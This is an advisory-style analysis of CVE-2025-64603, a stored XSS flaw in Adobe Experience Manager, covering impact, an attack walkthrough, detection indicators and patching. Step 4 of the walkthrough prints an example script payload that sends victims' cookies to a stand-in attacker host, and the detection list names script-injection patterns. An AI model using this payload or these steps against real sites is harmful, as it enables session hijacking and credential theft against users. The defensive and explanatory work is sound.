CVE-2025-64603: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64603 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious content) and low privileges on the AEM instance. The attack vector is network-based with low complexity (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan.
2. Authentication: Obtain low-privileged credentials to the AEM instance (e.g., a standard author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces and locate form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Victim interaction: Wait for a victim (e.g., an AEM administrator or another user) to browse to the page containing the injected content.
6. Payload execution: The stored script executes in the victim's browser, enabling session token theft, credential harvesting, or further malicious actions on behalf of the victim (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected or modified AEM content nodes containing embedded <script> tags or event handler attributes in stored page content.
• Network: Outbound browser requests from victim machines to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data exfiltration traffic.
• Application: AEM audit logs showing content edits by low-privileged accounts inserting raw HTML or script content into form fields or rich text editors.

Adobe has released patches addressing CVE-2025-64603 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended remediation. Administrators should also review AEM content for any previously injected malicious scripts and audit low-privileged account activity (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow for arbitrary code execution, referencing the broader APSB25-115 bulletin that includes CVE-2025-64603 (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64603 has been identified.